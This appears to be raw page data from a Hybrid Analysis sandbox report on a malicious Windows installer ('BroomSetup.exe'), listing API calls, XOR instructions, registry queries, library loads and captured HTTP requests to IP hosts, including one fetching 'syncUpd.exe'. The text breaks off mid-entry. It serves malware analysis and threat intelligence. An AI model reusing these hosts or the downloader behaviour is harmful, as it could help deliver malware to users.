26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T47f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample a2426a4ecc9b… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a2426a4ecc9b…. Malware family: Malware. Threat score 100/100. 6/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a2426a4ecc9babad217d30ecc526382eb2b72a2611dd4c752c3811ecc038b6c5","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","a2426a4ecc9babad217d30ecc526382eb2b72a2611dd4c752c3811ecc038b6c5"],"about":{"@type":"SoftwareApplication","name":"46d44e00b19778dfb3f9615c774c8589","applicationCategory":["peexe","executable"],"identifier":"a2426a4ecc9babad217d30ecc526382eb2b72a2611dd4c752c3811ecc038b6c5","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":6,"total":25},"behavioralIndicators":{"malicious":10,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T691,"BroomSetup.exe" called "FindResourceW" with parameter "7972796" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7104496" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7104516" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7104536" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7104556" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7104576" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7973896" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7974400" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "7974428" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "89404428" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "89407756" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "89697804" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "88956220" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "88957140" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "89422924" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "88642652" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "88959660" - (UID: 00000000-00007532) "BroomSetup.exe" called "FindResourceW" with parameter "88960540" - (UID: 00000000-00007532)28:T8da,"BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484888'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485032'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485048'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485000'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485016'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484984'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484920'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484904'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483576'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485144'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485304'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485176'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485064'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485128'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485080'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485096'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485112'}" (UID: 00000000-00007532) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485160'}" (UID: 00000000-00007532)29:T543,Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp, 00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp")2a:T430,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "46d44e00b19778dfb3f9615c774c8589") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005136.00000000.66966.00408000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005136.00000000.66966.0040A000.00000004.mdmp, 00000000-00005136.00000000.66966.10001000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00007532.00000002.70970.007C5000.00000004.mdmp")2b:T14d5,Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-481-0040B71D Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-481-0040B71D Assembly shows XOR instruction xor byte ptr [ebx+00h] al in Stream UID: 48610-700-004010B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-1571-0042EA1E Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-1571-0042EA1E Assembly shows XOR instruction xor eax 786BC1AAh in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor cl dh in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor dword ptr [1AEE1F46h] edx in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor dword ptr [ecx+63h] ebx in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor al byte ptr [ebx-4571C247h] in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor bh byte ptr [ebx-30h] in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor al 6Ch in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor edx dword ptr [eax+68h] in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor esi dword ptr [ebp+1B12FD37h] in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor ebx dword ptr [ecx-70AD7DB9h] in Stream UID: 48610-1452-0042AB9B Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 48610-178-00404491 Assembly shows XOR instruction xor esi eax in Stream UID: 48610-178-00404491 Assembly shows XOR instruction xor eax dword ptr [ebp-10h] in Stream UID: 48610-178-00404491 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-409-004092DC Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-409-004092DC Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-77-00409618 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-77-00409618 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-578-0042F69B Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-578-0042F69B Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-587-0042C692 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-587-0042C692 Assembly shows XOR instruction xor ecx eax in Stream UID: 48610-1589-00405660 Assembly shows XOR instruction xor ecx dword ptr [eax+08h] in Stream UID: 48610-126-0042E271 Assembly shows XOR instruction xor dword ptr [eax+08h] ecx in Stream UID: 48610-126-0042E271 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 48610-126-0042E271 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 48610-126-0042E271 Assembly shows XOR instruction xor eax esp in Stream UID: 48610-49-0042BBB0 Assembly shows XOR instruction xor ecx esp in Stream UID: 48610-49-0042BBB0 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-653-0042D9FB Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-653-0042D9FB Assembly shows XOR instruction xor eax esp in Stream UID: 48610-780-00409465 Assembly shows XOR instruction xor dword ptr [ecx-7FB26180h] edi in Stream UID: 48610-1414-00429354 Assembly shows XOR instruction xor byte ptr [ebx+eax+00h] ah in Stream UID: 48610-1613-0040430A Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-602-0042CC12 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-602-0042CC12 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-654-0043013D Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-654-0043013D Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-590-0042E07F Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-590-0042E07F Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-501-0040CF66 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-501-0040CF66 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-606-0042CCF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-606-0042CCF0 Assembly shows XOR instruction xor ah byte ptr [ebx+71h] in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor eax edi in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor byte ptr [esi] cl in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor dword ptr [ecx+00h] edx in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor ah byte ptr [ebp+3Ch] in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor dword ptr [ebp+5B90AF29h] edi in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor byte ptr [ebp+161F1A2Bh] ah in Stream UID: 48610-1000-00419522 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-146-00409EE0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-146-00409EE0 Assembly shows XOR instruction xor eax ebp in Stream UID: 48610-573-0042DAB9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 48610-573-0042DAB9 Assembly shows XOR instruction xor esi dword ptr [00437004h] in Stream UID: 48610-322-00402230 Assembly shows XOR instruction xor ecx dword ptr [eax+edi] in Stream UID: 48610-322-00402230 Assembly shows XOR instruction xor ecx dword ptr [edx+edi] in Stream UID: 48610-322-004022302c:T80b,Contains base64 string in header "NSIS" in header "GET /cpa/ping.php?substr=eight&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /cpa/ping.php?substr=eight&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "90Connection" in header "GET /cpa/ping.php?substr=eight&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /cpa/ping.php?substr=eight&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/syncUpd" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /syncUpd.exe HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NSIS" in header "GET /ping.php?substr=eight HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /ping.php?substr=eight HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /ping.php?substr=eight HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 185.172.128.127Connection: Keep-AliveCache-Control: no-cache"2d:T28bc,"46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000078f4de00ad617077bcf4de00000000009b627077b0869aa5bcf4de0050b73503e4f4de000000000050b735030000000000000000000000000100000000000000ee13710030f4de00ee13717730f5de00506a7477308238d2feffffffdc007477055d707790000000030000009cf4de00040000000000000000000000ffffffff01000000e8f4de00b5567577e4f4de00d056757700000000bcf4de000000000003000000682235030000000000000000000000000000000000000000000000000200000030f5de00700a7477ec027477603b737788879aa574f5de0000006d770020e00000b07e77001000000000c8000100000000006d7700000000 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000de0016e10876b8ebde00b0ebde00bcebde000300000080f63676c8ebde00aaec08760300000000000000e4473473b6ec0876ecf230e500ecde007de0087664e0087624f530e5e447347305000000f09d34730000000075e2347386e2347380ecde00802b0b76445ffb93feffffff0cecde00e0df0876200236731cecde0049d93573c06438732002367328ecde0063d93573200236734cecde00fa9d3473010000000100000037067077010000000b2e097606000000dad8357390ecde00eecf3573c4dc3573e2cf3573b9229e56010000000100000000000000f49e9aa5180000008cecde0032ba7277a0683873000000000000000000000000a0ecde00 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000a8c9de0038cf7177b424350314cade000100000068243503b424350368243503040000000400000000e041760010000014cade000100000068243503cd9771779c977177fcbe9aa5b50f3876682435030000717700000000e41863750000000080ee3e760100000000000000f8e2417600000000040000000000000048404076f8e2417618cade0080e87b76b894350380e87b7614cade000000000080e87b7600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000066c637037cc63703 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ae0f3803c60f3803 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ce143803e2143803 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f61d38030e1e3803 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000002e2b3803442b3803 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ce2a3803e62a3803 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000002e2f3803462f3803 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005136) "BroomSetup.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007532) "BroomSetup.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000b46dd573a1cc03b2000000004cfc0f01ecbe3576ffffffff250000001cfc0f0130000000000000000b010000a4fc0f0102000000c4ba79000000000000001000004000000200000000000500050000008e8100004c0101000000000000fa4b000000000098fc0f011abe3576a4fc0f0125be3576000000005a620200001000008dff0f0001000000ffff1100d8fc0f01d652400080fc0f0144000000de1d2003be1d2003581d20030000000000000000000000000000000000000000000000000000000000000000a8b637760b010000b8b63776c1be1875d8fc0f01e9f94000c4807900e0fc0f01d2807900d9807900 (UID: 00000000-00007532) "BroomSetup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007532)2e:T556,"46d44e00b19778dfb3f9615c774c8589.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "46d44e00b19778dfb3f9615c774c8589.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "BroomSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "nsgF90E.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "nsgF90E.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2f:T15ed,"46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter %TEMP%\nsqEDB3.tmp\INetC.dll (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "LoadLibrary" with a parameter WININET (UID: 00000000-00005136) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter colorui.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter compstui.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter inetres.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00007532) "BroomSetup.exe" called 